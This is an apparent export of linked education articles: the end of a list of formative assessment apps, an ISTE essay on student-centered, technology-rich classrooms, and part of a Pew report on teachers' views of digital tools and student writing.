Kaizena - An online tool for providing students with real-time feedback on their digitally-uploaded work. Teachers can highlight or speak to give verbal feedback and attach teacher-created, reusable resources to student work.

Lino - A virtual corkboard of sticky notes so students can provide questions or comments on their learning. These can be used like exit tickets or during the course of a lesson.

Mentimeter - Allows you to use mobile phones or tablets to vote on any question a teacher asks, increasing student engagement.

Naiku - Teachers can easily and quickly create quizzes that students can answer using their mobile devices. Great for checking for understanding before and after a lesson.

Nearpod - This tool is nice in that you can not only gather evidence of student learning, like an all-student response system, but you can also create differentiated lessons based on the data you collected. The basic version (30 students or less) is free.

Obsurvey - Create surveys, polls, and questionnaires quickly and easily.

Padlet - Provides an essentially blank canvas for students to create and design collaborative projects. Great for brainstorming.

Pear Deck - Plan and build interactive presentations that students can participate in via their smart device. Limited free usage, and it offers unique question types.

Peergrade - A platform that allows teachers to create assignments and upload rubrics. Students upload work and are anonymously assigned peer work to review according the rubric.

Piazza - A platform that allows teachers to upload lectures, assignments, and homework; pose and respond to student questions; and poll students about class content. This tool is better suited for older students as it mimics post-secondary class instructional formats.

Pick Me! - An easy to use app for an iPod, iPad, or iPhone that facilitates random student selection. Can be organized by class for convenience.

PlayPosit - An interactive video and assessment tool that allows teachers to add formative assessment features (pauses and questions) to survey what students know about the topic. Teachers choose from a library of video content from popular sites such as YouTube, Vimeo, and others.

Plickers - Allows teachers to collect real-time formative assessment data without the need for student devices. Perfect for the one-device classroom.

PollDaddy - Quick and easy way to create online polls, quizzes, and questions. Students can use smartphones, tablets, and computers to provide their answers, and information can be culled for reports.

Poll Everywhere - Teachers can create a feedback poll or ask questions. Students respond in various ways, and teachers see the results in real-time. With open-ended questions, you can capture data and spin up tag clouds to aggregate response. There is a limit to the number of users.

ProProfs - Build and test knowledge with quick quizzes, polls, and surveys.

RabbleBrowser - An iPad app that allows a leader to facilitate a collaborative browsing experience.

RealtimeBoard - Teachers can invite students and collaborate with the whole class in real-time.

Remind - A free tool that allows teachers to text students and stay in touch with parents. A great 'check for understanding' tool that's easy to use.

The Queue - Free educational chat tool that mirrors Twitter and allows teachers to post questions and students to respond via the thread. Students can respond via text or video, and the tool allows "journeys" in which teachers introduce a topic via video and connect students to participating resources. Great for gathering formative assessment data at the beginning, middle, or end of units.

Quia - Teachers can create games, quizzes, surveys, and more, and access a database of existing quizzes from other educators.

QuickVoice Recorder - Another free voice recording app for the iPhone or iPad that allows you to record classes, discussions, or other project audio files. You can sync your recordings to your computer easily for use in presentations.

Quizlet - Create flashcards, tests, quizzes, and study games that are engaging and accessible online and via a mobile device.

Random Name/Word Picker - This tool allows the teacher to input a class list and facilitates random name picking. You can also add a list of keywords and use the tool to have the class prompt a student to guess the word by providing definitions.

Seesaw - This tool helps teachers improve parent communication and makes formative assessment easy, while students can use the platform to document their learning.

ShowMe Interactive Whiteboard - Another whiteboard tool that students and teachers can use to check understanding.

SMART Response VE(for SMARTboards) - A cloud-based software that enables students to respond to planned and spontaneous questions and take quizzes using any of their favorite Internet-enabled devices, from anywhere.

Socrative - Exercises and games that engage students using smartphones, laptops, and tablets.

Tagul - This word cloud generator has an added feature that allows the user to make each word an active link to connect to a website you determine.

Tagxedo - A tag cloud generator that allows you to examine student consensus and facilitate dialogue.

TitanPad - This unique tool for collaborative work offers 8 colors to choose from so that each contributor may use a different color. You can easily imagine how group work, be it peer review or peer editing for starters, can be made interactive.

TodaysMeet - This online collaboration tool allows educators to create a "room" in which students can share ideas, answers, and thoughts to lectures and lessons. Educators can view student responses in real time for evidence of learning.

Triventy - A free quiz game platform that allows teachers to create quizzes students take in real-time. These live quizzes provide teachers with real-time data on student understanding of classroom concepts. Students need individual devices to respond to quiz questions (compatible with mobile devices and laptops).

Verso - Described as a feedback tool, this app allows teachers to set up learning using a URL. Space is provided for directions. Students download the app and input their responses to the assignment. They can then post their comments and respond to the comments of others. The teacher can group responses and check engagement levels.

VoiceThread - Allows you to create and share conversations on documents, diagrams, videos, pictures, or almost anything. This facilitates collaborative student discussion and work.

Vocaroo - A free service that allows users to create audio recordings without the need for software. You can easily embed the recording into slide shows, presentations, or websites. Great for collaborative group work and presentations.

Voxer - Consider using this voice recording tool as a way to let students listen and self assess their ideas and assignments. You can send recordings to parents so they can hear how their students are doing, let students chat about their work, or provide feedback to students.

Wordables - The Word Cloud Guessing Game. This app allows you to elicit evidence of learning or determine background knowledge about a topic. These word clouds are pictures composed of a cloud of smaller words that form a clue to the topic.

Wordle - Generates tag clouds from any entered text to help aggregate responses and facilitate discussion.

WordSalad - This app generates word clouds from the text you provide, and they can be exported and shared.

XMind - A mind-mapping software for use on computers and laptops.

Yacapaca! - Allows teachers to create and assign quizzes with ease.

There are many Twitter chats related to formative instructional practices that could be considered tools, as well. One that is exceptionally lively and focused is regularly hosted by David Kwan (@davidwkwan) and Rachelle Dene Poth (@Rdene915) Monday evenings at 4:30 p.m. PT at #formativechat. I often tweet about formative instructional practices and you can follow me @kdyer13.

Kathy Dyer is a Sr. Professional Development Specialist for NWEA, designing and developing learning opportunities for partners and internal staff. Formerly a Professional Development Consultant for NWEA, she coached teachers and school leadership and provided professional development focused on assessment, data, and leadership. In a career that includes 20 years in the education field, she has also served as a district achievement coordinator, principal, and classroom teacher. She received her Masters in Educational Leadership from the University of Colorado Denver. Follow her on Twitter at @kdyer13.

# data[].attributes.attachment_link.title
The Ultimate List - 65 Digital Tools and Apps to Support Formative Assessment Practices

# data[].attributes.attachment_link.description
There is no shortage of strategies, techniques, and tools available to teachers (and students) who use formative instructional practice in their classrooms. We've compiled an extensive list of 65 digital tools, apps, and platforms that can help teachers use formative assessment to elicit evidence of student learning.

# data[].attributes.headline
ISTE | Put students in charge of their learning

# data[].attributes.subject
ISTE | Put students in charge of their learning

# data[].attributes.attachment_link.readable_text
On a Monday morning at a junior high school just outside of Cleveland, Ohio, a student teacher enters Room 120 for the first time. Looking to his left, he sees students discussing how to write an appropriate description of a picture they've just embedded in the online poster they've created for a project.

To the right sit two students engrossed in reading novels on handheld devices - one a Kindle, the other an iPod. Behind him sit three students huddled around laptops, whispering and pointing at one another's work.

After a few moments of peering over their shoulders, he asks what they are doing.

"We're looking for articles related to our novels," one of them says. "We find something of interest related to a book we're reading. Then we bookmark it on Diigo and explain how the nonfiction article connects to our books."

The student explains that Diigo is a tool that allows you to keep track of websites you like and annotate them for others to see.

Another student explains that he is using Goodreads, a social network for readers. He says he uses it to keep a record of the books he's read, rate them and share ratings with peers.

Noticing the student teacher's amazement, I explain that this class will likely be different from the high school classroom he visited previously.

This bustling, even chaotic, results-only learning environment (ROLE), where students work both independently and collaboratively on a variety of activities and projects, is unlike most classrooms just about anywhere.

In contrast to classrooms where cell phones and iPods are banned, students in Room 120 are encouraged to use mobile devices and social media sites.

After a couple weeks of working with students in our technology-rich workshop setting, the student teacher headed back to his high school assignment, assuring me he had much to consider. I had high hopes for this energetic newbie, because for two weeks, he'd experienced the elimination of outdated teaching methods in favor of a student-centered, technology-rich, results-only learning environment, and he was ready to share it with the world.
Replace tradition with digital learning
For much of my 20-year teaching career, I used the traditional teaching strategies that far too many teachers still employ today. Most are doing what they learned to do in their preservice days. Many are using only the tools that their school or district administrators provide - test practice workbooks, dusty texts and basal readers. The ROLE discards these resources and other practices that extract the fun from school. Gone are lectures, worksheets, rote-memory homework and multiple-choice tests. These are replaced with engaging, interactive mini-lessons and sophisticated digital learning tools.

Recent studies by the Pew Research Center indicate that 9 out of 10 teens use social networks, and most have a smartphone, iPod or e-reader. While many school administrators and teachers continue to ban the use of these remarkable digital learning tools, the results-only classroom embraces them.

Recall the anecdote shared earlier about the student teacher. Students worked independently and collaboratively using devices and social media to apply concepts and skills to ongoing projects to demonstrate mastery learning. Most exciting is how the students are able to teach the teacher about the tools. This is because they learned how to use a wide array of websites and devices throughout the year, and together we built a technology toolkit. By midyear, students in a ROLE are able to take guidelines for virtually any activity or project, go to their technology toolkit, and create engaging, interactive projects and presentations that show both their creativity and complex problem-solving skills.

Give a student a 20-problem math worksheet, a pencil and a calculator, and she'll develop a case of narcolepsy before your eyes. Give her a real-world scenario that requires application of the same skills, team her with a peer or two, ask them to use their tech toolkit to solve the problem, and you'll witness the electricity of a ROLE. Even elementary students can shoot videos of problem-solving activities using a mobile device. Then they can share the videos on an Edmodo class site; a blog; an online post-it wall, such as Padlet; or a virtual reality app, such as Aurasma.

The key to success in this progressive workshop setting is providing a choice of web tools and devices that students can use to demonstrate mastery without the teacher's vision of the work product getting in the way.

If 25 students have to complete the same worksheet, they rarely see value in this kind of activity. When a ROLE teacher says, "Choose a topic, create an argument and persuade the class that you are right," students are immediately engaged, because they've been given the autonomy that is so critical to learning.

Teachers become facilitators who offer mini-lessons on controlling arguments, persuasive hooks, types of appeal and a call to action. When students learn they can present their arguments using any web tool, engagement turns to excitement. Some might create brief movies with Animoto, while others debate their topic using the web-based discussion board Today'sMeet. SlideRocket, Glogster, Presenter, VoiceThread, Instagram and even Facebook are all possibilities for this kind of project.

Teaching in this environment looks different from the traditional classroom. A mini-lesson might consist of a series of brief videos on various types of persuasion. A discussion ensues on a message board or blog, where students can master the concepts with each other as the teacher chimes in when necessary. As the project work progresses, the teacher becomes more of a coach, circulating, answering questions about topics and persuasion techniques, and helping students apply each concept to a web tool or social media platform. This is digital age learning, and it's truly awe inspiring.

A new kind of evaluation

The cornerstone of the ROLE is the use of remarkably powerful narrative feedback. Web tools provide a virtual environment for this two-way communication between teacher and student that is of paramount importance to a successful digital age classroom. Websites, social media and mobile learning devices pave the way to the narrative feedback that drives mastery learning in the ROLE.

What's truly exciting about this kind of evaluation is students' willingness to improve their learning when they receive immediate, meaningful feedback on the digital tools they use.

When a student reviews narrative feedback directly where her work product is housed, it's easy to navigate to a prior lesson and instantly make the teacher's suggested changes. I often link video instruction, online presentations, bookmarked Diigo sites and other content to comments I leave on a student's digital work. Then he can open this link to instruction, review or reread it, and apply it back to the project without ever leaving his device.

In our amazing social networking world, I am automatically alerted via email or digital notification to any changes a student makes to a document or project. The power and immediacy of this kind of learning is undeniable. Students know they can make quick changes to activities and projects, and they want to do it because it's convenient and takes place in their world. Put a 50/100 score on a student's written work, and see how eager she is to return to prior learning and resubmit the activity.

Create curators of info

When I started teaching language arts more than two decades ago, a student portfolio represented a collection of work placed in a folder, which was ultimately put in a box in a storage room. If used as intended, the portfolio served as a vehicle for reflection on individual learning and growth over the course of an entire school year. Occasionally, these portfolios were shared with parents, but this was the extent of their usefulness. Maybe a handful of people saw each student's curated works. Most became nothing more than dust collectors that would eventually be discarded.

In 2006, when it became available worldwide, Facebook changed everything related to sharing information. Soon Twitter, Instagram, Pinterest, LinkedIn and a myriad of other social media networks created a cascade effect on how information is shared. Although education is seemingly light-years behind the rest of the world when it comes to online social networking and sharing, students in the ROLE are joining the public as the new curators of information. Recognizing the need to teach students how to efficiently curate what they find and what they create is fast becoming educators' greatest responsibility.

The internet is rife with digital libraries now being stocked by people of all ages and experiences. You don't have to be a professional writer anymore to publish your work. Free publishing sites, such as FastPencil, Kindle Direct Publishing, Storybird and Figment, supply an outlet for a young writer's poetry, prose, scientific essays, song lyrics or personal narratives. More important, these places give students a voice that pencil and paper can't provide.

Social networks create collaboration that can infuse thought-provoking dialogue into the classroom that many students would not otherwise participate in. This discussion can be maintained directly on that social network or on a wiki page or message board for others to view. A classroom blog offers a place where students can express themselves in continuing conversations while allowing peers in their school or from around the world to read their work. These social networks are creating curators of information, and educators must teach students just what this means, as they are becoming some of our most important content providers and managers. Today's students are curating literature and information that we will use, perhaps, for centuries to come.

This is the nature of the digital-age, student-centered ROLE. It is a place that emphasizes mastery learning through the use of any effective digital web tool or mobile learning device available. The ROLE is home to a new kind of teacher, who understands when it's time to get out of the way to create a collaborative, often chaotic workshop setting, where students ask and answer most of the questions. It's a place that is founded on narrative feedback that is housed in the digital tools each student uses.

This is a classroom, regardless of subject or grade, where students are independent learners eager to share their insights and skills. The ROLE is a place that builds lifelong learners because it is collaborative, digital, comfortable and engaging. Best of all, in the student-centered, results-only classroom, learning is fun.

Mark Barnes is a veteran teacher and author of Role Reversal: Achieving Uncommonly Excellent Results in the Student-Centered Classroom and The Five-Minute Teacher. Check out his video website, read his blog and follow him on Twitter.

Ready to start developing student-centered lessons for your classroom? Collaborate with ISTE Standards experts and other educators in our new social learning community, Project ReimaginED.

# data[].attributes.attachment_link.title
Put students in charge of their learning

# data[].attributes.attachment_link.description
On a Monday morning at a junior high school just outside of Cleveland, Ohio, a student teacher enters Room 120 for the first time. Looking to his left, he sees students discussing how to write an appropriate description of a picture they've just embedded in the online poster they've created for a project.

# data[].attributes.headline
Part III: Teachers See Digital Tools Affecting Student Writing in Myriad Ways | Pew Research Center's Internet & American Life Project

# data[].attributes.subject
Part III: Teachers See Digital Tools Affecting Student Writing in Myriad Ways | Pew Research Center's Internet & American Life Project

# data[].attributes.attachment_link.provider_name
Pew Research Center: Internet, Science & Tech

# data[].attributes.attachment_link.readable_text
Majorities of AP and NWP teachers in the study see digital tools having several distinct, beneficial impacts on student writing, including providing a broader audience for student work, encouraging creativity and personal expression in a multitude of formats, and offering more opportunities for collaboration, interaction and feedback. Many teachers say that taken together, these three impacts of digital technologies make writing both more meaningful and less intimidating for many students, while also encouraging greater commitment to, and personal investment in, what they produce.

Yet many of these AP and NWP teachers also express concerns about how digital tools and platforms are shaping the way their students approach writing. Of most concern are what some perceive as diminishing grammatical skills and vocabulary, which they attribute largely to the informal writing in which today's students are heavily engaged. In addition, some AP and NWP teachers worry that rather than encourage greater understanding of and appreciation for different audiences, digital tools actually blur the boundaries between formal and informal audiences and discourage student sensitivity to these distinctions. Finally, many of these middle and high school teachers worry that their students are losing the ability to develop, organize and express complex thoughts because they generally communicate in more concise forms of expression.

Majorities of AP and NWP teachers see digital tools benefiting student writing in several key ways

Asked whether they agree or disagree with a series of statements about potential impacts digital tools may be having on today's students, majorities of AP and NWP teachers in this sample agree that:

Today's digital technologies allow students to "share their work with a wider and more varied audience" (52% strongly agree, 44% agree)

Today's digital technologies "encourage student creativity and personal expression" (26% strongly agree, 52% agree)

Today's digital technologies "encourage greater collaboration among students" (23% strongly agree, 56% agree)

In focus groups, teachers spoke at length about how these three perceived impacts benefit student writing. Many said that not only are their students are doing considerably more writing outside of the classroom than they would without these digital tools, but they have the unique experience of writing for broad and varied audiences because of the internet. Exposing student writers to a wider audience via online platforms is a considerable change from a time when only one's teacher and perhaps a few classmates would read a student's writing.

Not only do many of these teachers use online platforms such as GoogleDocs to have students edit each others' work in a public way, but many have students work together on Wikis, use whiteboards to share and edit student work in class, and have students "publish" their work in other online forums. While teachers acknowledge that some middle and high school students may struggle in this more public learning environment, overall these AP and NWP teachers felt that more students benefited from writing for a broader audience than were inhibited by it. Many of these teachers see exposure to a wider audience as an opportunity for students to get more diverse feedback on their work, which encourages them to think more consciously about audience as they write, and in turn leads to greater investment in what is written.

In addition, many AP and NWP teachers noted that digital tools encourage personal expression in many forms, not just "writing." This benefits students who might otherwise struggle to express themselves in formal writing, and pushes those more comfortable with self-expression to be even more creative. According to these teachers, the many diverse forms of self-expression available today make the process of communicating one's ideas less intimidating and more accessible for students today. Several teachers noted that for many students, digital tools take the "scary" factor out of "formal writing."

On AUDIENCE, AP and NWP teachers say...
One way these tools help young writers is to see their work in another forum. Many students are used to only "desktop" publishing. They write on their desktop, finish their writing, and put it on the teacher's desk. I have found that students take a closer look at their writing when they know that the audience will include their peers. At RAW INK Online, their work is often seen by teachers and authors from outside of our school. So, students take a closer look at their blog posts and responses. Through having students share their writing with their peers in these modalities, I have seen them become more at ease with the writing process. They are more willing to put their ideas down in writing when writing for an authentic audience. The students begin to develop an awareness for the need to write/communicate in a way that makes sense to the reader and communicates clearly their intended message. Based on my own personal experiences I would have to agree that today's digital technologies have provided students more opportunities to develop and share their thoughts creatively. When I was in school, if I wanted my voice to be heard by more people than just my three best friends, I would have had to write something up to submit it to the school newsletter or the local paper. Whether or not what I wrote was published would then be left up to the one editor that read my piece. Today I can simply tweet something to my several hundred followers and immediately incite some kind of response. Personally, I feel my voice matters more because I know that when I tweet something or post it to my blog it has the potential to be read by a lot of people, and the positive feedback that I receive when I do post propels me to want to write more. I know my students feel the same way. I have seen a heightened sense of responsibility on the part of my students to be more thoughtful in articulating their ideas because they know others will read their work. Additionally, I have seen where students feel empowered to contribute on seemingly niche subjects (specialized knowledge about video games, etc.) because they know they have knowledge that will add to what is being shared on the web about that subject. For my students, this is an issue of communication, of meeting the standards not only as writers, but as people very aware that the audience is not their teacher, but a much broader venue. I try to help them see a bigger space for their writing than just the four walls of our room. For my students it comes down to developing something to say, and then creating the most effective means to say it. Their writing is not really "long, formal writing," but rather it's writing that gets their point across in the most effective way, developing a sense of style (not necessarily formal) and engaging an audience. We spend a while unpacking the relevant standards - drawn from the Common Core, and, a key component is engaging an audience and orienting them to a point of view of specific context for the issue. So, effective writing is a key part of that, but for most of the work my students do, writing is one component, and at times it's just a basis for the videos or other multimedia they'll create. When my students make digital films we screen them together, talk about their work together, and then students subsequently post links to their films on Facebook, etc. So, if a kid is engaged, this writing has a whole new element that traditional writing did not have. The audience enlarges, the retrospective self evaluation increases and the com position matters m ore because it will be publically shared. In my experience the extended audience provided by online writing encourages students to be more deliberate and thoughtful. My students have been using a Ning and m ore recently their own blogs to post writing pieces and then use the comment features to provide peer feedback. While at first students were hesitant and shy both to post work and make thoughtful and useful comments about others' writing, once the routine was established and the community proved to be a safe one, student writing has benefitted. Another thing that I love is the authentic audience that digital tools can provide for students. I have my students blogging-meaning that students "publish" a variety of different types of writing to a public site where anyone can read and comment on their work. I had a student share that a pastor from somewhere in the country had commented on her blog. She was beyond ecstatic to read that someone thought her work was excellent. I can, and do, tell her that all day long, but when she hears that from someone else she is convinced. I have seen students able to develop a stronger voice in their writing when they post it to their blog as opposed to them just turning it in for the teacher.
On COLLABORATION, AP and NWP teachers say...
GoogleDocs is used as a drafting and revision tool that can easily be shared among one another. We engage in response writing on a daily basis to: a TED talk, or a Podcast, or an episode of This American Life. These responses are posted onto the schools Ning to be shared with the class as a whole and can be seen by other educators. These formats allow the students to share their thoughts, interruption and understating of the material with one another in a real time form. It's all about connecting. I believe that students are reading, writing, creating and sharing more than ever through digital media. By being able to connect with others they remain invested and passionate about what they are creating. I think writing becomes less hinged on the types of length requirements I remember focusing on in high school and college. We are a more collaborative writing group: editing our school Wikipedia page, editing work simultaneously on GoogleDocs or sending texts via polleverywhere means everyone is producing and authoring short and long texts simultaneously. Writing can feel less high risk as a result. I think we've always been a creative species that has produced a lot of thoughtful articulation of ideas. I don't know that digital technologies have really changed that. And there have always been a lot of opportunities to write. Back in the day I wrote a lot of songs, poems and stories in notebooks, on napkins and scraps of paper; my students today do more of that kind of drafting digitally. I think what's different now is the conversations around writing. There are more ways writers can talk back to others about their compositions now - chats in Google Docs, via comments on their Flickr content, etc. The opportunities to collaborate have created more chances to converse with a more diverse audience. Writing is m ore social now, and my students are much more aware of audience than I was when I was a teen. Digital technologies have allowed my students to be more collaborative in their writing experiences and to experience writing for a larger audience. My expository writing class is now a high school version of a blended course. Students are able to respond to one another through an online academic social network. Through this site they brainstorm together, share responses to writing in forums and share resources through shared links and wiki creation. They also share their writing through sites like GoogleDocs or wiggio. We even collaborate on how we pace our writing assignments through an online calendar. Students research together by sharing links through diigo. In my freshman class students are able to use elireview.com for online peer review, which is especially nice for them so they can easily share their writing and focus their responses to one another. We also collaborate with other classes. We have six American Literature classes at my high school and we're all connected through our online academic social network. We post on forums and create wikis together and share resources across classes. Students now have around 180 peers as their audience for a lot of their writing, instead of just a teacher or one class. I teach at a New Tech school, in which everything we do is a project-based learning model and our projects are always completed collaboratively, whether in pairs or larger groups. My students use GoogleDocs extensively as they move through their projects for planning and then com position. I think the collaboration allowed on GoogleDocs is really changing the way people and our students write. Most of the students I teach have been learning in this model for the past three years and for the most part have been using GoogleDocs along with other digital tools increasingly during that time. At this point they are very comfortable writing with one another, editing each other's writing, and accepting feedback from one another. I love the transparency of GoogleDocs as well - the history is all there for students and teachers to revisit past editions and know who has contributed what. I have seen students more willing to go back and revise or improve their work in order to provide more clarity when using digital tools than when they are writing it on paper. Many times after we have had a conference I hear students saying, "Ok, can I go back and fix that?" It's music to my ears. I am actually interested in seeing how digital writing plays out a little more because I think it does give us more reason to go back and evaluate, fix, add to, change any given work over time.
On CREATIVITY, AP and NWP teachers say...
I strongly agree that [digital tools] encourage developmental skills such as creativity. There are so many wonderful platforms available to students and they can express one single idea in so many ways. If students read a book, they don't have to do a book report, they can create a blog, a glog, or a digital video about the book.
I think this generation of students have many more opportunities, not only to write (in many forms) and learn to express themselves, but the added benefit that social media and GoogleDocs have to offer is to provide them with an audience for these thoughts and expressions. We know our students can write-they text all day. My students' expressions make up the majority of my Twitter stream. While in the past we may have written in our diaries and journals and hid them under our pillows, students today write and post their feelings for the world to see. I do see this as helping them to articulate their thoughts and I often wonder what the effect is of them having an audience, the opportunity for immediate two-way
communication or at least validation of their musings (the Like button) and what that does to their confidence as writers/thinkers.
I think students are writing and reading more because of their online lives than ever before. But it's not just writing, of course. I have students who are reluctant, ill-educated writers who produce videos and organize websites. There is a lot more self-directed learning happening now than I've seen before. And it's exciting to get out of the way of this. Actually, I tend to disagree more with this idea than agree. There is definitely a higher volume of writing [in the digital age], but the purpose and audience for most students' writing is not automatically an invitation to greater creativity or more thoughtful articulation. There is an emphasis placed on speed and immediacy that actually can eat away at creativity. Moreover, the thoughtful articulation of ideas is compromised by a widespread expectation that all writing should be short and direct, which may not always be clear. With all of these technologies, I think writing is at the heart, but our students are also driven to take it a step further to include video, sound, hyper links, images, animation, etc. That's a huge boost in creativity.
In focus groups, AP and NWP teachers were careful to point out that simply having access to a wider audience and more platforms for self-expression does not necessarily translate into effective writing and communication. Writing for varied audiences, and particularly writing for online audiences, is a skill that must be taught. Likewise, communicating in the appropriate style for a particular venue and/or audience is something many students have not mastered, according to these teachers. As a result, many teachers report spending class time teaching just these skills.

On collaboration, AP and NWP teachers say...
The ability to have wider and more frequent conversations about their composition I think has helped my students' writing. But just having the potential for wider conversations and a larger audience doesn't always mean more people are listening. I mean, we've got to explicitly teach the art of online conversation. Like reading, I think writing is also about thinking and learning. A former student said that writing a research paper for my class and then repurposing it for larger audiences [as a blog post] allowed her to think in an organized manner and critically read and apply her thinking in ways other experiences did not. She felt she learned how to think and develop extensive ideas through the process of writing a long formal text. She then had to reexamine her research and repurpose her work for another audience. She felt that experience continued to challenge her thinking about the ways in which writing and researching relate to various life situations. Additionally, she suggested that students may read blog posts on their own, but the challenge of reading and synthesizing material based on scholarly research was one students needed to be challenged to do through an academic environment. So, research paper or blog...it all has to relate back to thinking and learning with purpose. I do feel like students are writing more than I did. Instead of notes, students are sending texts and emails, instead of calling, students are messaging. There is so much more communication centered around writing today. One thing we do need to address is the careful crafting of these electronic messages. They are easily misinterpreted without the visual and verbal cues. This is where intention, audience, tone, etc. need to be taught. It's the whole notion of identity and perception. How did you mean to represent yourself in that message? What do you think the perception of your identity and your message is by others? These are skills that need to be addressed and taught. I think it is important for students to have a sense of a discourse community when it comes to researching and sharing out from that research. To understand that one side of the continuum are the blissfully-unaware and on the other are the highly-qualified respondents. When they draft a response, revise a paper, post a blog, enter a discussion thread, they become-almost automatically-a part of that discourse community. Can the student self-identify where they appear upon this continuum? What might this tell the student about their place in the conversation? To which end do they stand with the response they are offering when they offer it? These technologies also have helped my students understand various rhetorical situations for their writing because we explore how our academic social network is different from other sites or other writing experiences. For instance, some Facebook qualities are in our site, but students know they also have a very formal audience for their work too. I think teaching about concepts of writing actually makes a lot of sense when we are direct in explaining how writing is impacted by audience and purpose and medium. Students understand that texts have characteristics that research papers do not and they understand that they need to be mindful of the differences in writing based on audience, purpose and medium of writing.
Overall, when these three key impacts are taken together - a broader audience, increased opportunities for creativity and personal expression, and greater collaboration - the vast majority of AP and NWP teachers participating in the study see a tremendous upside to writing in the digital age. In focus groups, teachers repeatedly used the words "investment" and "engagement" to describe the impact they see digital tools having on student writing.

On whether today's students are more invested in their writing, AP and NWP teachers say...
In thinking about digital writing and the potential for audience, I think that idea of someone beyond myself reading their work is a real key factor in what drives many of my students to extensively stick with a piece of writing and keep digging in, revising, working on things m ore, and really feeling an investment in a piece. I know that at the start of one of my courses, when students understand that the writing we'll be doing is for a mass audience, the idea can be intimidating for some students right off, but once they understand that they have extensive support from me as their coach, and that we have a process where work is developed and really built, then that apprehension goes away. Once we get to the stage where we're ready to publish work, students are so proud of what they've produced that they're psyched to see it going public. So, I've steadily seen students having a real investment when they are writing publicly. I see an improvement in students' writing as a result of new technologies in the classroom: Students are more aware of audience and thoughtfully consider their purposes for writing and what readers will gain from their work. Shy students often come alive online in ways they don't in class because they have time to think and compose before sharing their ideas and opinions. My students respond to each other's writing through our Edmodo page and learn how to provide constructive feedback. Technology tools increase students' engagement and interest in writing. Students collaborate more through Googledocs, Edmodo, and our class blog. Students consider their online presence. In a way, technology has made writing for a public audience less intimidating. If we exploit the possibilities of using these forums to share ideas and to enhance writing skills, that would be a very exciting thing. So, our goal may be to go forth and eradicate the poor grammar and spelling, as well as the odd contractions (might've???) and get our students' work out there!
I still know some teachers that insist students hand write everything because she doesn't want them cheating on their notes. To her there are a lot of negative thoughts about using technology because it makes it easier to cheat. I don't guess she realizes they cheat more on her assignments than they do mine. For her the other problem is that the teacher has to relinquish a little more control to the students if you are allowing the students to collaborate and think freely. I find that a huge benefit, but other teachers who have to be in 100% control all the time, find the use of technology a huge downside. For me, the negative impacts are minor because real world connection, collaboration, and creativity
kids are able to use when using technology far outweighs any of the negative things.

Along with these benefits, 68% of these AP and NWP teachers say digital tools make students more likely to take shortcuts and not put effort into their writing

Asked about specific impacts digital tools may have on student writing, AP and NWP teachers in this sample expressed the greatest concern about these tools increasing the likelihood their students will "take shortcuts and not put effort into their writing." Just over two-thirds of these AP and NWP teachers (68%) say that digital tools are having this impact. Fewer teachers, but still a sizeable percentage, also say these tools make students more likely to "write too fast and be careless" (46%) and more likely to "use poor spelling and grammar" (40%). (On the latter measure, teachers are fairly divided, with 38% saying digital tools make students LESS likely to use poor spelling and grammar-an indication of the tension between the positive and negative effects of automated spellcheck and grammar check.)

This question was originally posed in a 2007 Pew Internet nationally representative telephone survey of teens and their parents. At that time, 49% of teens 12-17 said the use of computers and other digital tools for writing made them more likely to take shortcuts and not put effort into their writing, and 41% said that digital tools make them more likely to write too fast or be careless. In addition, 42% said these tools make them more likely to use poor spelling or grammar. Parents' views in the 2007 survey generally aligned with those of their teens.

English/language arts teachers have the most positive view of the impact of digital tools on student writing

On all three of these measures, English teachers in the sample express the most positive view of the impact of digital tools. They are the least likely to say that digital tools make students more likely to take shortcuts in their writing, use poor spelling or grammar, or write too fast and be careless.

Conversely, most AP and NWP teachers surveyed (56%) say digital tools also make students more likely to revise and edit their work

Reflecting the mixed impact teachers see digital tools having on student writing habits, many note potential positive impacts as well. More than half of the AP and NWP teachers in the sample feel these technologies increase the likelihood their students will revise and edit their work. In 2007, a similar percentage of teens (59%) said this was the case. Math (64%) and English/language arts (60%) teachers are more likely than both science (53%) and history/social studies (48%) teachers to feel that digital tools are having this positive effect on student writing.

Also on the positive side, a plurality of teachers (50%) say digital tools make students more likely to "be creative," a finding which is consistent across AP and NWP teachers of different subjects. Yet on other potential impacts, these AP and NWP teachers are divided. For example, 32% of AP and NWP teachers surveyed say today's digital tools make students MORE likely to communicate well, but almost as many (28%) say these tools make students LESS likely to communicate well.

Despite lengthy discussion in focus groups about the benefit of learning to write for varied audiences in today's digital ecology, just 24% of AP and NWP teachers feel that digital tools make today's students MORE likely to write in multiple genres and styles. Instead, most teachers (63%) say digital tools have no impact on student writing in this regard.

Focus group discussions revealed some additional concerns about the impact of digital tools on student writing

In addition to the concerns captured in the survey of AP and NWP teachers, focus group discussions revealed other concerns these teachers have about the potential impact of digital tools on student writing. In these discussions, three main concerns emerged:

diminishing grammatical skills and vocabulary,

an increasingly blurry line between formal and informal writing, resulting in the creep of "text speak" into formal writing, and

a general emphasis on short forms of expression

As use of today's digital technologies-including the internet, cell phones and social networking sites-becomes more prevalent in the classroom and in students' personal lives, some AP and NWP teachers say the overall quality of student writing is declining. The clearest evidence they point to is the "creep" of more casual language and grammar (sometimes referred to as "textspeak") into students' academic writing. Because more informal settings such as texting and social network site posts have distinct norms about what is acceptable (such as incomplete sentences, misspellings, widespread use of abbreviations, a generally informal tone), some AP and NWP teachers worry that they ultimately undermine students' formal writing.

While some AP and NWP teachers in the study described these informal expressions as a unique language or register that can benefit student self-expression when used in the right venue, others worry that their students are increasingly unable to draw a distinction between informal and formal writing. In focus groups, teachers were divided as to whether the transference of rules and norms from one writing domain to another was the result of students simply not recognizing the distinction across domains, or if it was conscious disregard for those distinctions.

On GRAMMAR and VOCABULARY, AP and NWP teachers say...
Technology has increased the amount of writing students do, but decreased the quality. For instance, instead of writing letters, quick texts are sent instead. Also, students use substandard grammar, or become overly reliant upon spelling and grammar checkers on the computer. The single biggest negative impact [of digital technologies is] poor writing skills and verbal skills. Yes, so the use of word processing programs and spell-check and all that stuff is wonderful, but they rely on it so much that even when it changes their thoughts and words and it doesn't even make sense anymore because they've put in words that they've substituted words for misspelled words that don't even make sense, it hinders their ability. I tell them, I have sophomores and juniors and I tell them, read pre-1970 writing. It's richer vocabulary. Most of them have very poor vocabulary just because they simply do not read books and they certainly don't read things written before the 1980s. "The one that always jumps out at me and I find really frightening is they have horrifically bad vocabularies. I primarily blame that on just simply not reading and certainly not reading anything with any challenge to it. Like a lot of the more recent books that they will read, they just don't have the depth of language. They don't have that complexity of language or the complexity of vocabulary."
